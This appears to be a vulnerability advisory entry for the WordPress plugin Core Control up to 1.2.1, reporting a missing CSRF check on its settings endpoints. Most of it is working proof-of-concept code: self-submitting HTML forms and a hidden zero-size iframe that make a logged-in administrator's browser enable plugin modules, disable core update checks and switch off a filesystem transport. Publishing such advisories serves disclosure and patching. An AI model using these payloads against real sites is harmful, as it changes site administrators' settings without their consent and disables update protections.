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wpexploitDaniel RufWPEX-ID:C7906B1D-25C9-4F34-BD02-66824878B88E
HistoryMay 23, 2022 - 12:00 a.m.

Core Control <= 1.2.1 - Arbitrary Settings Update via CSRF

2022-05-2300:00:00
Daniel Ruf
63

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<form id="test" action="https://example.com/wp-admin/admin-post.php?action=core_control-modules" method="POST">
    <input type="text" name="check-all" value="on">
    <input type="text" name="checked[]" value="core_control_filesystem.php">
    <input type="text" name="checked[]" value="core_control_http.php">
    <input type="text" name="checked[]" value="core_control_updates.php">
    <input type="text" name="checked[]" value="core_control_http_log.php">
    <input type="text" name="checked[]" value="core_control_cron.php">
</form>
<script>
    document.getElementById("test").submit();
</script>


<form id="test" action="https://example.com/wp-admin/admin-post.php?action=core_control-updates" method="POST">
    <input type="text" name="disable-core-check" value="Disable Core update checks">
</form>
<script>
    document.getElementById("test").submit();
</script>


<iframe src="https://example.com/wp-admin/admin-post.php?action=core_control-fs&module_action=disabletransport&transport=ftpext" width="0" height="0" frameborder="0"></iframe>
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